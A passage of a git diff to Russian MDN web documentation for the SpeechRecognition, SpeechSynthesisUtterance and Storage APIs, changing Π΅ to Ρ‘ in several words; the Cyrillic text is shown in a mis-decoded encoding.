+++ b/files/ru/web/api/speechrecognition/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/SpeechRecognition
<dl>
<dt>{{domxref("SpeechRecognition.SpeechRecognition()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉΒ <font face="consolas, Liberation Mono, courier, monospace">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ </font><code>SpeechRecognition</code>Β .</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉΒ <font face="consolas, Liberation Mono, courier, monospace">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ </font><code>SpeechRecognition</code>Β .</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
@@ -22,11 +22,11 @@ translation_of: Web/API/SpeechRecognition
<dt>{{domxref("SpeechRecognition.grammars")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈ устанавливаСт ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β {{domxref("SpeechGrammar")}} Β Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ понятны Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒΒ <code>SpeechRecognition</code>.</dd>
<dt>{{domxref("SpeechRecognition.lang")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ язык Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎΒ <code>SpeechRecognition</code>. Если Π΄Π°Π½Π½ΠΎΠ΅ свойство Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΈΠ· HTML ΠΊΠΎΠ΄Π°Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β {{htmlattrxref("lang","html")}} , ΠΈΠ»ΠΈ настройки языка Π°Π³Π΅Π½Ρ‚Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ язык Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎΒ <code>SpeechRecognition</code>. Если Π΄Π°Π½Π½ΠΎΠ΅ свойство Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΈΠ· HTML ΠΊΠΎΠ΄Π°Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β {{htmlattrxref("lang","html")}} , ΠΈΠ»ΠΈ настройки языка Π°Π³Π΅Π½Ρ‚Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</dd>
<dt>{{domxref("SpeechRecognition.continuous")}}</dt>
<dd>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚ возвращаСтся Π»ΠΈ Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½Ρ‹Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΈΠ»ΠΈ вСрнулся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½ΠΎΠ³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (<code>false</code>.)</dd>
<dt>{{domxref("SpeechRecognition.interimResults")}}</dt>
- <dd>ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»ΠΈΡ€ΡƒΠ΅Ρ‚, слСдуСт Π»ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ (<code>true</code>) ΠΈΠ»ΠΈΒ Π½Π΅Ρ‚Β (<code>false</code>.) ΠŸΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ это Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Π΅ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Ρ‹Β ( Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{domxref("SpeechRecognitionResult.isFinal")}} свойство <font face="consolas, Liberation Mono, courier, monospace">Π»ΠΎΠΆΠ½ΠΎ</font>.)</dd>
+ <dd>ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»ΠΈΡ€ΡƒΠ΅Ρ‚, слСдуСт Π»ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ (<code>true</code>) ΠΈΠ»ΠΈΒ Π½Π΅Ρ‚Β (<code>false</code>.) ΠŸΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ это Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Ρ‹Β ( Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{domxref("SpeechRecognitionResult.isFinal")}} свойство <font face="consolas, Liberation Mono, courier, monospace">Π»ΠΎΠΆΠ½ΠΎ</font>.)</dd>
<dt>{{domxref("SpeechRecognition.maxAlternatives")}}</dt>
<dd>УстанавливаСт максимальноС количСство прСдоставлСнных Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² {{domxref("SpeechRecognitionAlternative")}}. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 1.</dd>
<dt>{{domxref("SpeechRecognition.serviceURI")}}</dt>
@@ -45,7 +45,7 @@ translation_of: Web/API/SpeechRecognition
<dt>{{domxref("SpeechRecognition.onerror")}}</dt>
<dd>ВызываСтся ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° ошибка распознавания Ρ€Π΅Ρ‡ΠΈ.</dd>
<dt>{{domxref("SpeechRecognition.onnomatch")}}</dt>
- <dd>ВызываСтся, ΠΊΠΎΠ³Π΄Π° слуТба распознавания Ρ€Π΅Ρ‡ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π±Π΅Π· сущСствСнного распознавания. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ признания  {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая Π½Π΅ соотвСтствуСт ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ ΠΈΠ»ΠΈ ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°Π΅Ρ‚ Π΅Π³ΠΎ.</dd>
+ <dd>ВызываСтся, ΠΊΠΎΠ³Π΄Π° слуТба распознавания Ρ€Π΅Ρ‡ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π±Π΅Π· сущСствСнного распознавания. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ признания  {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая Π½Π΅ соотвСтствуСт ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ ΠΈΠ»ΠΈ ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°Π΅Ρ‚ Π΅Π³ΠΎ.</dd>
<dt>{{domxref("SpeechRecognition.onresult")}}</dt>
<dd>ВызываСтся когда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Β β€” слово ΠΈΠ»ΠΈ Ρ„Ρ€Π°Π·Π° Π±Ρ‹Π»ΠΈ распознаны ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΈ это Π±Ρ‹Π»ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.</dd>
<dt>{{domxref("SpeechRecognition.onsoundstart")}}</dt>
@@ -75,9 +75,9 @@ translation_of: Web/API/SpeechRecognition
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Π’ нашСм простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a> , мы создаСм новый ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ экзСмпляра <code>SpeechRecognition</code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , созданиС нового  {{domxref("SpeechGrammarList")}}, И ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² качСствС Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΈ, которая Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒΡΡ экзСмпляром распознаваниС Ρ€Π΅Ρ‡ΠΈ с использованиСм свойства {{domxref("SpeechRecognition.grammars")}}.</p>
+<p>Π’ нашСм простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a> , мы создаём новый ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ экзСмпляра <code>SpeechRecognition</code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , созданиС нового  {{domxref("SpeechGrammarList")}}, И ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² качСствС Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΈ, которая Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒΡΡ экзСмпляром распознаваниС Ρ€Π΅Ρ‡ΠΈ с использованиСм свойства {{domxref("SpeechRecognition.grammars")}}.</p>
-<p>ПослС опрСдСлСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΌΡ‹ Π·Π°Ρ‚Π΅ΠΌ устанавливаСм ΠΈΡ… Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ слуТба распознавания Π½Π°Ρ‡Π°Π»Π°ΡΡŒΒ ΠΊΠΎΠ³Π΄Π°Β ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ событиС ΠΏΠΎ ΠΊΠ»ΠΈΠΊΡƒΒ (Β {{domxref("SpeechRecognition.start()")}}.) Когда Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π±Ρ‹Π» ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ распознан, the {{domxref("SpeechRecognition.onresult")}} ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅ΠΌ Ρ†Π²Π΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» произнСсСн ΠΈΠ· события, Π° Π·Π°Ρ‚Π΅ΠΌ мСняСм Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚Β {{htmlelement("html")}}.</p>
+<p>ПослС опрСдСлСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΌΡ‹ Π·Π°Ρ‚Π΅ΠΌ устанавливаСм ΠΈΡ… Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ слуТба распознавания Π½Π°Ρ‡Π°Π»Π°ΡΡŒΒ ΠΊΠΎΠ³Π΄Π°Β ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ событиС ΠΏΠΎ ΠΊΠ»ΠΈΠΊΡƒΒ (Β {{domxref("SpeechRecognition.start()")}}.) Когда Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π±Ρ‹Π» ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ распознан, the {{domxref("SpeechRecognition.onresult")}} ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅ΠΌ Ρ†Π²Π΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» произнСсён ΠΈΠ· события, Π° Π·Π°Ρ‚Π΅ΠΌ мСняСм Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚Β {{htmlelement("html")}}.</p>
<pre class="brush: js">var grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
var recognition = new SpeechRecognition();
@@ -199,7 +199,7 @@ recognition.onresult = function(event) {
<h3 id="Firefox_OS_Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ">Firefox OS Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ распознаваниС Ρ€Π΅Ρ‡ΠΈ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π² своСм <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ распознаваниС Ρ€Π΅Ρ‡ΠΈ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π² своём <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p>
<pre class="brush: json">"permissions": {
"audio-capture" : {
diff --git a/files/ru/web/api/speechsynthesisutterance/index.html b/files/ru/web/api/speechsynthesisutterance/index.html
index 94c0d175d6..750e34d8f5 100644
--- a/files/ru/web/api/speechsynthesisutterance/index.html
+++ b/files/ru/web/api/speechsynthesisutterance/index.html
@@ -16,7 +16,7 @@ translation_of: Web/API/SpeechSynthesisUtterance
<h2 id="Бвойства">Бвойства</h2>
-<p><em><code>SpeechSynthesisUtterance</code> СщС наслСдуСт свойства ΠΈΠ· Π΅Π³ΠΎ ΡΠ²ΠΎΠ΅Π³ΠΎΒ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса {{domxref("EventTarget")}}.</em></p>
+<p><em><code>SpeechSynthesisUtterance</code> Сщё наслСдуСт свойства ΠΈΠ· Π΅Π³ΠΎ ΡΠ²ΠΎΠ΅Π³ΠΎΒ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса {{domxref("EventTarget")}}.</em></p>
<dl>
<dt>{{domxref("SpeechSynthesisUtterance.lang")}}</dt>
@@ -37,13 +37,13 @@ translation_of: Web/API/SpeechSynthesisUtterance
<dl>
<dt>{{domxref("SpeechSynthesisUtterance.onboundary")}}</dt>
- <dd>Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° произнСсСнноС высказываниС достигаСт Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ слова ΠΈΠ»ΠΈ прСдлоТСния.</dd>
+ <dd>Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° произнСсённоС высказываниС достигаСт Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ слова ΠΈΠ»ΠΈ прСдлоТСния.</dd>
<dt>{{domxref("SpeechSynthesisUtterance.onend")}}</dt>
<dd>Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° произнСсСниС произнСсСно.</dd>
<dt>{{domxref("SpeechSynthesisUtterance.onerror")}}</dt>
<dd>Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ошибка, которая прСпятствуСт ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌΡƒ ΠΏΡ€ΠΎΠΈΠ·Π½Π΅ΡΠ΅Π½ΠΈΡŽ высказывания.</dd>
<dt>{{domxref("SpeechSynthesisUtterance.onmark")}}</dt>
- <dd>Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° произнСсСнноС высказываниС достигаСт Π½Π°Π·Π²Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚Π΅Π³Π° ΠΌΠ΅Ρ‚ΠΊΠΈ Β«SSMLΒ».</dd>
+ <dd>Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° произнСсённоС высказываниС достигаСт Π½Π°Π·Π²Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚Π΅Π³Π° ΠΌΠ΅Ρ‚ΠΊΠΈ Β«SSMLΒ».</dd>
<dt>{{domxref("SpeechSynthesisUtterance.onpause")}}</dt>
<dd>Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° высказываниС приостановлСно.</dd>
<dt>{{domxref("SpeechSynthesisUtterance.onresume")}}</dt>
diff --git a/files/ru/web/api/storage/clear/index.html b/files/ru/web/api/storage/clear/index.html
index ca829dae1b..869995f394 100644
--- a/files/ru/web/api/storage/clear/index.html
+++ b/files/ru/web/api/storage/clear/index.html
@@ -21,7 +21,7 @@ translation_of: Web/API/Storage/clear
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция создаСт 3 записи Π² локальном Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅, послС этого всС значСния ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>clear()</code>.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция создаёт 3 записи Π² локальном Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅, послС этого всС значСния ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>clear()</code>.</p>
<pre class="brush: js">function populateStorage() {
localStorage.setItem('bgcolor', 'red');
@@ -110,7 +110,7 @@ translation_of: Web/API/Storage/clear
</table>
</div>
-<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ объСма для localStorage ΠΈΒ sessionStorage. Π—Π΄Π΅ΡΡŒ <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС объСма Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
+<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΎΠ±ΡŠΡ‘ΠΌΠ° для localStorage ΠΈΒ sessionStorage. Π—Π΄Π΅ΡΡŒ <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС ΠΎΠ±ΡŠΡ‘ΠΌΠ° Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Начиная с вСрсии iOS 5.1, Safari Mobile Ρ…Ρ€Π°Π½ΠΈΡ‚ Π΄Π°Π½Π½Ρ‹Π΅Β <code>localStorage</code>Β Π² ΠΏΠ°ΠΏΠΊΠ΅Β cache, которая пСриодичСски ΠΏΠΎΠ΄Π»Π΅ΠΆΠΈΡ‚ очисткС ΠΏΠΎ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΡŽ ОБ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΏΡ€ΠΈ нСдостаточном количСствС свободного мСста.</p>
diff --git a/files/ru/web/api/storage/getitem/index.html b/files/ru/web/api/storage/getitem/index.html
index cc066d8334..12a4985508 100644
--- a/files/ru/web/api/storage/getitem/index.html
+++ b/files/ru/web/api/storage/getitem/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Storage/getItem
---
<p>{{APIRef("Web Storage API")}}</p>
-<p>Если Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getItem()</code> интСрфСйса {{domxref("Storage")}} ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Ρ‚ΠΎΒ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Π΅Ρ€Π½Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π»Π΅ΠΆΠ°Ρ‰Π΅Π΅ Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ ΠΊΠ»ΡŽΡ‡Ρƒ.</p>
+<p>Если Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getItem()</code> интСрфСйса {{domxref("Storage")}} ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Ρ‚ΠΎΒ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π»Π΅ΠΆΠ°Ρ‰Π΅Π΅ Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ ΠΊΠ»ΡŽΡ‡Ρƒ.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -120,7 +120,7 @@ translation_of: Web/API/Storage/getItem
</table>
</div>
-<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ объСма для localStorage ΠΈΒ sessionStorage. Π—Π΄Π΅ΡΡŒ <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС объСма Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
